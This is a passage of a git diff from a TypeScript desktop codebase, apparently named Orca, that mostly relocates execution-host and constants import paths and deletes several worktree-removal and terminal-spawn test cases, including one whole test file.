getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import { getProjectHostSetupWorktreeMeta } from '../../../../shared/project/host-setup/project-host-setup-lookup' import { removeTree } from '../../../../shared/file-write/windows-transient-lock-removal' @@ -20,8 +20,8 @@ import type * as HostTreeRemoval from '../../../filesystem/host-tree-removal' import { removeHostTree } from '../../../filesystem/host-tree-removal' import { getLocalProjectWorktreeGitOptions } from '../../../workspaces/execution-host/project-runtime-git-options' -import { listWorktreesStrict } from '../../../git/worktrees/catalog/worktree-listing' -import { areWorktreePathsEqual } from '../../../git/worktrees/catalog/worktree-path-comparison' +import '../../../git/worktrees/catalog/worktree-listing' +import '../../../git/worktrees/catalog/worktree-path-comparison' import { acquireWatcherRemovalGate, beginTerminalInstall, @@ -65,11 +65,6 @@ async function git(args: string[], cwd = repoPath): Promise { } // Parse Git paths: Windows output uses forward slashes unlike native joins. -async function isRegistered(path: string): Promise { - return (await listWorktreesStrict(repoPath)).some((worktree) => - areWorktreePathsEqual(worktree.path, path) - ) -} beforeEach(async () => { pushTarget = undefined @@ -203,40 +198,6 @@ function removalHost( } describe('finishing an interrupted worktree removal after a restart', () => { - it.each(['partial', 'detached', 'keep-registered', 'keep-unregistered'])( - 'finishes the accepted %s pending checkout after restart', - async (kind) => { - const head = (await git(['rev-parse', 'feature'])).trim() - if (kind === 'keep-unregistered') { - await git(['worktree', 'remove', worktreePath]) - } - const keep = kind.startsWith('keep-') - if (!keep) { - await (kind === 'partial' - ? unlink(join(worktreePath, 'seed.txt')) - : git(['checkout', '--detach', '-q'], worktreePath)) - } - const { outcome, purged, records } = await finishAfterRestart({ - force: kind === 'partial', - branch: kind === 'detached' ? '' : 'feature', - head: keep ? head : (await git(['rev-parse', 'HEAD'], worktreePath)).trim(), - deleteBranch: keep ? false : undefined - }) - expect(outcome).toMatchObject({ status: 'removed' }) - expect(records).toEqual([]) - expect(existsSync(worktreePath)).toBe(false) - expect(await isRegistered(worktreePath)).toBe(false) - expect((await git(['branch', '--list', 'feature'])).trim() !== '').toBe( - keep || kind === 'detached' - ) - expect(purged).toEqual([`repo-1::${worktreePath}`]) - if (keep) { - expect((await git(['rev-parse', 'feature'])).trim()).toBe(head) - expect(outcome).not.toHaveProperty('preservedBranch') - } - } - ) - it('leaves the same branch checked out again at a new head', async () => { vi.spyOn(console, 'warn').mockImplementation(() => {}) const head = (await git(['rev-parse', 'feature'])).trim() @@ -256,32 +217,3 @@ describe('finishing an interrupted worktree removal after a restart', () => { }) installRealWorkerThreadChildProcesses() - -it.each(['remote-first', 'local-first', 'missing-local'])( - 'recovers only the local owner with a %s same-ID catalog', - async (order) => { - const remote: Repo = { - ...repo, - path: join(scratchDir, 'nonlocal-repo'), - connectionId: 'ssh-fixture' - } - const repoRows = - order === 'remote-first' - ? [remote, repo] - : order === 'local-first' - ? [repo, remote] - : [remote] - const { outcome, purged, records } = await finishAfterRestart({ repoRows }) - expect(outcome.status).toBe('removed') - expect(records).toEqual([]) - if (order === 'missing-local') { - expect(purged).toEqual([]) - expect(existsSync(worktreePath)).toBe(true) - expect(await isRegistered(worktreePath)).toBe(true) - } else { - expect(purged).toEqual([`repo-1::${worktreePath}`]) - expect(existsSync(worktreePath)).toBe(false) - expect(await isRegistered(worktreePath)).toBe(false) - } - } -) diff --git a/src/main/runtime/workspaces/removal/runtime-interrupted-local-worktree-removal.ts b/src/main/runtime/workspaces/removal/runtime-interrupted-local-worktree-removal.ts index 6ae7d923716..0aeccf9a8da 100644 --- a/src/main/runtime/workspaces/removal/runtime-interrupted-local-worktree-removal.ts +++ b/src/main/runtime/workspaces/removal/runtime-interrupted-local-worktree-removal.ts @@ -3,7 +3,7 @@ import { waitForPromiseWithSignal } from '../../../../shared/concurrency/abort-signal-reason' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { RuntimeStore } from '../../construction/runtime-store-contract' import { releaseStartupRemovalFence, diff --git a/src/main/runtime/workspaces/removal/runtime-nested-worktree-removal.ts b/src/main/runtime/workspaces/removal/runtime-nested-worktree-removal.ts index 2467d477461..a9997d57edd 100644 --- a/src/main/runtime/workspaces/removal/runtime-nested-worktree-removal.ts +++ b/src/main/runtime/workspaces/removal/runtime-nested-worktree-removal.ts @@ -6,7 +6,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../shared/repository/repo-kind' import { areWorktreePathsEqual } from '../../../git/worktrees/catalog/worktree-path-comparison' import { resolveWorktreeRemovalRepoOwner } from '../../../workspaces/removal/worktree-removal-repo-owner' diff --git a/src/main/runtime/workspaces/removal/runtime-worktree-removal-target.ts b/src/main/runtime/workspaces/removal/runtime-worktree-removal-target.ts index 52f5d6b45f8..3530b65ea18 100644 --- a/src/main/runtime/workspaces/removal/runtime-worktree-removal-target.ts +++ b/src/main/runtime/workspaces/removal/runtime-worktree-removal-target.ts @@ -4,7 +4,7 @@ import { type RuntimeWorktreeRemovalTarget } from '../catalog/runtime-worktree-selection' import type { ResolvedWorktree } from '../catalog/runtime-worktree-path-identity' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' export async function resolveRuntimeWorktreeRemovalTarget(args: { selector: string diff --git a/src/main/runtime/workspaces/removal/structured-session-worktree-teardown.ts b/src/main/runtime/workspaces/removal/structured-session-worktree-teardown.ts index 7c5c7c17038..a4b88945b72 100644 --- a/src/main/runtime/workspaces/removal/structured-session-worktree-teardown.ts +++ b/src/main/runtime/workspaces/removal/structured-session-worktree-teardown.ts @@ -6,7 +6,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { STILL_LIVE_DETAIL_PREFIX } from '../../../../shared/worktree/removal/removal' import { getStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/host/structured-agent-session-registry' import { diff --git a/src/main/runtime/workspaces/removal/workspace-registration-removal.ts b/src/main/runtime/workspaces/removal/workspace-registration-removal.ts index ce6665892aa..e70ea51fef3 100644 --- a/src/main/runtime/workspaces/removal/workspace-registration-removal.ts +++ b/src/main/runtime/workspaces/removal/workspace-registration-removal.ts @@ -2,10 +2,13 @@ import type { OrcaRuntimeWithRemoveManagedWorktree } from './workspace-removal' import type { RuntimeStore } from '../../construction/runtime-store-contract' import type { RuntimeWorktreeRemovalTarget } from '../catalog/runtime-worktree-selection' import type { Repo } from '../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorktreeTeardownRuntime } from './worktree-teardown' import { splitWorktreeId, splitWorktreeIdForFilesystem } from '../../../../shared/worktree/id' -import { isRepoOnCatalogHost, parseExecutionHostId } from '../../../../shared/execution-host' +import { + isRepoOnCatalogHost, + parseExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../shared/worktree/create-types' import { readWorktreeMetaForRepo } from '../../../persistence/host-qualified-worktree-meta' import { getEffectiveHooks } from '../../../workspace-hooks/hooks' diff --git a/src/main/runtime/workspaces/removal/workspace-removal.ts b/src/main/runtime/workspaces/removal/workspace-removal.ts index 09ed1513dee..d5e3707c9f0 100644 --- a/src/main/runtime/workspaces/removal/workspace-removal.ts +++ b/src/main/runtime/workspaces/removal/workspace-removal.ts @@ -12,7 +12,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { finishAcceptedWorktreeRemoval, waitForWorktreeRemovalAcceptance diff --git a/src/main/runtime/workspaces/removal/worktree-removal-agent-trust-cleanup.test.ts b/src/main/runtime/workspaces/removal/worktree-removal-agent-trust-cleanup.test.ts index 2e60c80741b..d28a3a232a9 100644 --- a/src/main/runtime/workspaces/removal/worktree-removal-agent-trust-cleanup.test.ts +++ b/src/main/runtime/workspaces/removal/worktree-removal-agent-trust-cleanup.test.ts @@ -3,7 +3,7 @@ import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'nod import { tmpdir } from 'node:os' import { join } from 'node:path' import { OrcaRuntimeService } from '../../orca-runtime' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { upsertOrcaCreatedProjectTrustLevel } from '../../../codex/trust/toml/config-toml-trust' import { markAntigravityWorkspaceTrusted } from '../../../agent-launch/trust/agent-trust-presets' diff --git a/src/main/runtime/workspaces/session-hosts/folder-workspace-mixed-host-routing.test.ts b/src/main/runtime/workspaces/session-hosts/folder-workspace-mixed-host-routing.test.ts index 1e2915f0287..deda2fc2943 100644 --- a/src/main/runtime/workspaces/session-hosts/folder-workspace-mixed-host-routing.test.ts +++ b/src/main/runtime/workspaces/session-hosts/folder-workspace-mixed-host-routing.test.ts @@ -1,5 +1,5 @@ import { afterEach, describe, expect, it, vi } from 'vitest' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { MIXED_GROUP, MIXED_FOLDER, diff --git a/src/main/runtime/workspaces/session-hosts/folder-workspace-pty-identity.test.ts b/src/main/runtime/workspaces/session-hosts/folder-workspace-pty-identity.test.ts index db4d1d0dbec..eba88f97b74 100644 --- a/src/main/runtime/workspaces/session-hosts/folder-workspace-pty-identity.test.ts +++ b/src/main/runtime/workspaces/session-hosts/folder-workspace-pty-identity.test.ts @@ -4,7 +4,7 @@ import { spawnWorktreeTarget, type HostWorktreeTarget } from '../../../../shared/worktree/host-qualified-identity' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { RuntimeClientEvent } from '../../../../shared/remote-runtime/session-graph/runtime-client-events' import '../../../../shared/workspace-layout/stable-pane-id' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' @@ -100,12 +100,6 @@ function createRuntimeInternals( } /** Drain microtasks to test promise-only lease contention without wall-clock delays. */ -async function raceAgainstMicrotaskDrain(pending: Promise): Promise { - return await Promise.race([ - pending.then(() => 'acquired'), - new Promise((resolve) => setTimeout(() => resolve('blocked'), 0)) - ]) -} describe('folder workspaces sharing one directory', () => { it('leaves a sleeping instance asleep when a sibling instance spawns a terminal', async () => { @@ -130,39 +124,4 @@ describe('folder workspaces sharing one directory', () => { expect.objectContaining({ worktreeId: WORKSPACE_A, phase: 'committed', ptyIds: [PTY_A] }) ]) }) - - it('does not serialize a sibling instance behind this instance held terminal mutation', async () => { - const internals = createRuntimeInternals({ processLists: [[], []] }) - const releaseA = await internals.acquireWorktreeTerminalSpawn( - spawnWorktreeTarget(WORKSPACE_A, null) - ) - - const spawnB = internals.acquireWorktreeTerminalSpawn(spawnWorktreeTarget(WORKSPACE_B, null)) - expect(await raceAgainstMicrotaskDrain(spawnB)).toBe('acquired') - - // Spawns intentionally share the lock; use sleep as the exclusive positive control. - const sleepA = internals.sleepTerminalsForWorktree(`id:${WORKSPACE_A}`) - expect(await raceAgainstMicrotaskDrain(sleepA)).toBe('blocked') - - releaseA() - ;(await spawnB)() - await sleepA - }) - - it('grants concurrent spawns for one instance while still excluding its sleep', async () => { - const internals = createRuntimeInternals({ processLists: [[], []] }) - const releaseFirst = await internals.acquireWorktreeTerminalSpawn( - spawnWorktreeTarget(WORKSPACE_A, null) - ) - // Share concurrent tab spawns to avoid an activation latency staircase. - const second = internals.acquireWorktreeTerminalSpawn(spawnWorktreeTarget(WORKSPACE_A, null)) - expect(await raceAgainstMicrotaskDrain(second)).toBe('acquired') - - const sleepA = internals.sleepTerminalsForWorktree(`id:${WORKSPACE_A}`) - expect(await raceAgainstMicrotaskDrain(sleepA)).toBe('blocked') - - releaseFirst() - ;(await second)() - await sleepA - }) }) diff --git a/src/main/runtime/workspaces/session-hosts/get-runtime-id.ts b/src/main/runtime/workspaces/session-hosts/get-runtime-id.ts index 868620b4402..86d11218396 100644 --- a/src/main/runtime/workspaces/session-hosts/get-runtime-id.ts +++ b/src/main/runtime/workspaces/session-hosts/get-runtime-id.ts @@ -1,6 +1,6 @@ import { crewWorkspaceNames } from '../../orchestration/crew/crew-workspace-names' import { isDeepStrictEqual } from 'node:util' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { TerminalListHostScope } from '../../terminal/query/terminal-list-host-scope' diff --git a/src/main/runtime/workspaces/session-hosts/runtime-workspace-session-controller-twin-repo.test.ts b/src/main/runtime/workspaces/session-hosts/runtime-workspace-session-controller-twin-repo.test.ts index 23995bb1fe7..39b37dbd3a7 100644 --- a/src/main/runtime/workspaces/session-hosts/runtime-workspace-session-controller-twin-repo.test.ts +++ b/src/main/runtime/workspaces/session-hosts/runtime-workspace-session-controller-twin-repo.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { LOCAL_ROW, RUNTIME_ROW, @@ -9,7 +9,7 @@ import { twinPartitionSessions, type TwinCatalogRow, type TwinRepoRow -} from '../../../../shared/twin-repo-host-routing.test-fixture' +} from '../../../../shared/execution-host/twin-repo-host-routing.test-fixture' import { RuntimeWorkspaceSessionController } from './runtime-workspace-session-controller' const layoutOwner = vi.hoisted(() => ({ isMain: true })) diff --git a/src/main/runtime/workspaces/session-hosts/runtime-workspace-session-controller.ts b/src/main/runtime/workspaces/session-hosts/runtime-workspace-session-controller.ts index 0e75f8e1318..d1fd70c1590 100644 --- a/src/main/runtime/workspaces/session-hosts/runtime-workspace-session-controller.ts +++ b/src/main/runtime/workspaces/session-hosts/runtime-workspace-session-controller.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import type { Repo } from '../../../../shared/repository/repo-types' import '../../../../shared/folder-workspaces/folder-workspace-execution-host' diff --git a/src/main/runtime/workspaces/session-hosts/twin-repo-session-host.ts b/src/main/runtime/workspaces/session-hosts/twin-repo-session-host.ts index 6bb884f86b6..c1a33a0532d 100644 --- a/src/main/runtime/workspaces/session-hosts/twin-repo-session-host.ts +++ b/src/main/runtime/workspaces/session-hosts/twin-repo-session-host.ts @@ -4,7 +4,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import type { Worktree } from '../../../../shared/worktree/types' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' diff --git a/src/main/runtime/workspaces/sleep/runtime-workspace-sleep-operations.ts b/src/main/runtime/workspaces/sleep/runtime-workspace-sleep-operations.ts index 04f3c5c8ed3..ca145979c8a 100644 --- a/src/main/runtime/workspaces/sleep/runtime-workspace-sleep-operations.ts +++ b/src/main/runtime/workspaces/sleep/runtime-workspace-sleep-operations.ts @@ -18,7 +18,7 @@ import { workspaceLifecycleKey } from '../lifecycle/workspace-lifecycle-commands' import { getRuntimeWorktreeRemovalOptionsKey } from '../catalog/runtime-worktree-selection' -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../../shared/sidebar-list/feed/sidebar-inputs-switch' import type { RecipeWorkspaceRemoval, diff --git a/src/main/runtime/workspaces/sleep/workspace-sleep-execution.ts b/src/main/runtime/workspaces/sleep/workspace-sleep-execution.ts index 505f5dff248..043d1876688 100644 --- a/src/main/runtime/workspaces/sleep/workspace-sleep-execution.ts +++ b/src/main/runtime/workspaces/sleep/workspace-sleep-execution.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { toRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id' import type { RuntimeWorktreeTerminalSleepResult } from '../../../../shared/terminal/runtime/runtime-terminal-contracts' import type { diff --git a/src/main/runtime/workspaces/sleep/workspace-sleep-runtime.ts b/src/main/runtime/workspaces/sleep/workspace-sleep-runtime.ts index d5668397714..3253ff42183 100644 --- a/src/main/runtime/workspaces/sleep/workspace-sleep-runtime.ts +++ b/src/main/runtime/workspaces/sleep/workspace-sleep-runtime.ts @@ -11,7 +11,7 @@ import { import type { RuntimeWorktreeTerminalSleepResult } from '../../../../shared/terminal/runtime/runtime-terminal-contracts' import type { EphemeralVmRuntimeRecord } from '../../../../shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtimes' import type { SleepingAgentSessionRecord } from '../../../../shared/agent-session/lifecycle/agent-session-resume' -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSleepNotice, WorkspaceSleepOutcome, diff --git a/src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts b/src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts index 58aa720c429..cb25b7bf633 100644 --- a/src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts +++ b/src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts @@ -1,7 +1,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import type { Repo } from '../../../../shared/repository/repo-types' import '../../../../shared/agent-status/identity/agent-kind' -import { getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import type { AgentLaunchRuntime } from '../../../../shared/agent-launch/startup/agent-launch-runtime' diff --git a/src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.ts b/src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.ts index f1b7825644e..a2245d0c7f7 100644 --- a/src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.ts +++ b/src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.ts @@ -7,7 +7,7 @@ import type { Repo } from '../../../../shared/repository/repo-types' import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import type { WorktreeStartupLaunch } from '../../../../shared/worktree/creation/launch-types' import { repoIsRemote } from '../../../../shared/agent-launch/startup/agent-launch-remote' -import { getRepoSshConnectionId } from '../../../../shared/execution-host' +import { getRepoSshConnectionId } from '../../../../shared/execution-host/execution-host' import { isTuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent-config' import { isTuiAgentEnabled, diff --git a/src/main/runtime/workspaces/startup/workspace-activation.ts b/src/main/runtime/workspaces/startup/workspace-activation.ts index 965d6fd440b..ebf127b3823 100644 --- a/src/main/runtime/workspaces/startup/workspace-activation.ts +++ b/src/main/runtime/workspaces/startup/workspace-activation.ts @@ -5,7 +5,7 @@ import { navigationTargetsHost, resolveRuntimeNavigationTarget } from '../../../../shared/remote-runtime/session-graph/runtime-navigation' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { phoneWakeReport } from '../../../../shared/workspace/lifecycle/workspace-sleep' import type { Repo } from '../../../../shared/repository/repo-types' import type { TerminalWorkspaceLaunchScope } from '../../orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-terminal-recovery-types' diff --git a/src/main/runtime/workspaces/startup/worktree-agent-first-surface.test.ts b/src/main/runtime/workspaces/startup/worktree-agent-first-surface.test.ts deleted file mode 100644 index f29adb21df7..00000000000 --- a/src/main/runtime/workspaces/startup/worktree-agent-first-surface.test.ts +++ /dev/null @@ -1,189 +0,0 @@ -import { EVERY_AGENT_CHAT } from '../../../../shared/native-chat/every-agent-chat.test-fixture' -import { describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' -import type { RuntimePtyController } from '../../terminal/lifecycle/runtime-pty-controller-contract' -import { beginCreatedWorkspaceLaunch } from '../../../agent-launch/agent-launch-created-workspace' -import { AGENT_LAUNCH_RUNTIME_CAPABILITY } from '../../../../shared/agent-launch/contracts/agent-launch-runtime-capability' - -const createStructured = vi.hoisted(() => - vi.fn(async (args: { envelope: { sessionId: string } }) => ({ - ok: true as const, - value: { sessionId: args.envelope.sessionId } - })) -) -vi.mock('../../rpc/methods/structured-sessions/creation/structured-agent-session-create', () => ({ - createStructuredAgentSessionForWorktree: createStructured -})) - -await import('../../orca-runtime-tests/runtime-test-module-registration.spec') -const { OrcaRuntimeService } = await import('../../orca-runtime') -const { computeWorktreePathMock, ensurePathWithinWorkspaceMock } = - await import('../../orca-runtime-test-mocks/setup.spec') -const { getEffectiveHooks } = await import('../../../workspace-hooks/hooks') -const { getDefaultTabsLaunch } = await import('../../../workspace-hooks/effective-hook-config') -const { createSetupRunnerScript } = await import('../../../workspace-hooks/worktree-runner-script') -const { listWorktrees } = await import('../../../git/worktrees/catalog/worktree-scan-cache') -await import('../../orca-runtime-tests/orca-runtime-test-lifecycle.spec') -const { makeRuntimeStoreWithWorkspaceSession, store } = - await import('../../orca-runtime-tests/orca-runtime-test-fixtures.spec') -const { committingSpawn } = await import('../../orca-runtime-tests/bind-first-pane.test-fixture') - -const DEFAULTS = { - runCommands: true, - tabs: [ - { title: 'Dev', command: 'pnpm dev' }, - { title: 'Tests', command: 'pnpm test' } - ] -} - -function chatCreateRuntime(args: { - setupScriptLaunchMode: 'new-tab' | 'split-horizontal' - withDefaults: boolean - wait: boolean - nativeChat?: true -}) { - const path = '/tmp/workspaces/chat-create' - const baseRepo = store.getRepo('repo-1') - if (!baseRepo) { - throw new Error('missing test repo') - } - const repo = { - ...baseRepo, - hookSettings: { - mode: 'auto' as const, - setupRunPolicy: 'run-by-default' as const, - setupAgentStartupPolicy: args.wait - ? ('wait-for-setup' as const) - : ('start-immediately' as const), - scripts: { setup: '', archive: '' } - } - } - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession(getDefaultWorkspaceSession()) - const runtime = new OrcaRuntimeService({ - ...runtimeStore, - getRepo: (id) => (id === repo.id ? repo : undefined), - getRepos: () => [repo], - getSettings: () => ({ - ...runtimeStore.getSettings(), - setupScriptLaunchMode: args.setupScriptLaunchMode, - ...(args.nativeChat ? { nativeChatProviders: EVERY_AGENT_CHAT } : {}) - }) - }) - const spawn = vi.fn>(async () => { - const ptyId = `pty-${spawn.mock.calls.length}` - return { id: ptyId } - }) - runtime.setPtyController({ - spawn: committingSpawn(runtime, spawn), - write: () => true, - kill: () => true, - getForegroundProcess: async () => null - }) - computeWorktreePathMock.mockReturnValue(path) - ensurePathWithinWorkspaceMock.mockReturnValue(path) - vi.mocked(getEffectiveHooks).mockReturnValue({ scripts: { setup: 'pnpm install' } }) - vi.mocked(getDefaultTabsLaunch).mockReturnValue(args.withDefaults ? DEFAULTS : undefined) - vi.mocked(createSetupRunnerScript).mockResolvedValue({ - runnerScriptPath: '/repo/setup.sh', - envVars: {}, - ...(args.wait ? { waitForAgentStartup: true } : {}) - }) - vi.mocked(listWorktrees).mockResolvedValue([ - { path, head: 'abc', branch: 'chat-create', isBare: false, isMainWorktree: false } - ]) - return { runtime, spawn } -} - -describe('host-created workspaces awaiting their agent chat', () => { - it.each([ - ['new-tab', false, false, false], - ['new-tab', true, true, false], - ['split-horizontal', false, false, false] - ] as const)( - 'provisions only the required terminals (%s, defaults=%s, wait=%s, activate=%s)', - async (setupScriptLaunchMode, withDefaults, wait, activate) => { - const { runtime, spawn } = chatCreateRuntime({ setupScriptLaunchMode, withDefaults, wait }) - const launch = beginCreatedWorkspaceLaunch(runtime, 'claude') - const result = await runtime.createManagedWorktree({ - repoSelector: 'id:repo-1', - name: 'chat-create', - createdWithAgent: 'claude', - promisedAgentChat: true, - onWorkspaceCreated: launch.onWorkspaceCreated, - setupDecision: 'run', - awaitTerminalProvisioning: true, - observeSetupCompletion: true, - activate - }) - const commandCount = withDefaults ? 3 : 1 - expect(spawn).toHaveBeenCalledTimes(commandCount) - expect(spawn.mock.calls.filter(([args]) => args.command === 'pnpm dev')).toHaveLength( - withDefaults ? 1 : 0 - ) - expect(spawn.mock.calls.filter(([args]) => args.command === 'pnpm test')).toHaveLength( - withDefaults ? 1 : 0 - ) - expect(result.setupReceipt).toMatchObject({ - state: 'running', - startupPolicy: wait ? 'wait-for-setup' : 'start-immediately', - terminalHandle: expect.any(String) - }) - const snapshot = await runtime.listMobileSessionTabs(`id:${result.worktree.id}`) - const query = await runtime - .listMobileSessionTabs(`id:${result.worktree.id}`, undefined, { - includeInitialSurfaceLaunch: true - }) - .then((sampled) => { - launch.release() - return sampled - }) - expect(query.initialSurfaceLaunch).toMatchObject({ agent: 'claude' }) - expect(snapshot.initialSurfaceLaunch).toBeUndefined() - expect( - ( - await runtime.listMobileSessionTabs(`id:${result.worktree.id}`, undefined, { - includeInitialSurfaceLaunch: true - }) - ).initialSurfaceLaunch - ).toBeUndefined() - expect(snapshot.tabs).toHaveLength(commandCount) - if (!withDefaults) { - expect(snapshot.tabs[0]?.title).toBe('Setup') - } - } - ) - - it('gives a paired-device chat launch Setup and the chat with no plain shell', async () => { - const { runtime, spawn } = chatCreateRuntime({ - setupScriptLaunchMode: 'new-tab', - withDefaults: false, - wait: false, - nativeChat: true - }) - const { AGENT_LAUNCH_METHODS } = await import('../../rpc/methods/agent-launch/agent-launch') - const method = AGENT_LAUNCH_METHODS.find((entry) => entry.name === 'agent.launch') - if (!method) { - throw new Error('missing agent.launch') - } - const params = method.params.parse({ - agent: 'claude', - target: { - kind: 'create-worktree', - create: { repo: 'id:repo-1', name: 'chat-create', setupDecision: 'run' } - } - }) - const result = await method.handler(params, { - runtime, - clientKind: 'mobile', - pairedDeviceId: 'device-1', - caller: { kind: 'paired-device', deviceId: 'device-1' }, - clientCapabilities: [AGENT_LAUNCH_RUNTIME_CAPABILITY] - }) - - expect(result.outcome).toMatchObject({ kind: 'structured' }) - expect(createStructured).toHaveBeenCalledOnce() - expect(spawn).toHaveBeenCalledOnce() - const tabs = (await runtime.listMobileSessionTabs(`id:${result.worktreeId}`)).tabs - expect(tabs.map((tab) => tab.title)).toEqual(['Setup']) - }) -}) diff --git a/src/main/runtime/workspaces/workspace-file-session-targets.ts b/src/main/runtime/workspaces/workspace-file-session-targets.ts index fece5ca73d5..b4901772a6c 100644 --- a/src/main/runtime/workspaces/workspace-file-session-targets.ts +++ b/src/main/runtime/workspaces/workspace-file-session-targets.ts @@ -6,7 +6,7 @@ import { getConnectionExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { getLocalProjectWorktreeGitOptions } from '../../workspaces/execution-host/project-runtime-git-options' import { resolveWorktreeHostRouting } from './catalog/worktree-launch-host-repo' import { isFloatingWorkspaceSelector } from '../../../shared/workspace/identity/floating-workspace-worktree' diff --git a/src/main/runtime/workspaces/workspace-host-notifications.ts b/src/main/runtime/workspaces/workspace-host-notifications.ts index f425c094a63..1ba04d49e77 100644 --- a/src/main/runtime/workspaces/workspace-host-notifications.ts +++ b/src/main/runtime/workspaces/workspace-host-notifications.ts @@ -1,4 +1,4 @@ -import { getRepoRoutingConnectionId } from '../../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../../shared/execution-host/execution-host' import type { OrcaRuntimeWithHydrateHeadlessMobileSessionTabsFromWorkspaceSession } from '../session-tabs/mobile-session-hydration' import type { OrcaRuntimeWithBuildHeadlessMobileSessionBrowserTabs } from '../session-lifecycle/projection/build-headless-mobile-session-browser-tabs' import type { OrcaRuntimeWithScheduleMobileSessionTabsChanged } from '../session-tabs/session-tabs-change-publication' diff --git a/src/main/runtime/workspaces/workspace-removal-target.ts b/src/main/runtime/workspaces/workspace-removal-target.ts index 4771ad499bb..7c28f827a12 100644 --- a/src/main/runtime/workspaces/workspace-removal-target.ts +++ b/src/main/runtime/workspaces/workspace-removal-target.ts @@ -24,7 +24,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { invalidateAuthorizedRootsCacheForRepo } from '../../ipc/worktrees/removal/registered-worktree-roots-scoped-invalidation' import { dropOrcaCreatedAgentTrustForRemovedWorktree } from './removal/worktree-removal-agent-trust-cleanup' import { diff --git a/src/main/runtime/workspaces/workspace-selectors.ts b/src/main/runtime/workspaces/workspace-selectors.ts index 2ab0b48e681..48f71c568bf 100644 --- a/src/main/runtime/workspaces/workspace-selectors.ts +++ b/src/main/runtime/workspaces/workspace-selectors.ts @@ -8,7 +8,7 @@ import { getRepoExecutionHostId, getSshTargetIdForExecutionHost, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { runtimeRepoSelectorHostId, runtimeRepoSelectorText, diff --git a/src/main/skills/discovery/skill-discovery-sources.ts b/src/main/skills/discovery/skill-discovery-sources.ts index dbe9212c58c..0059eb70892 100644 --- 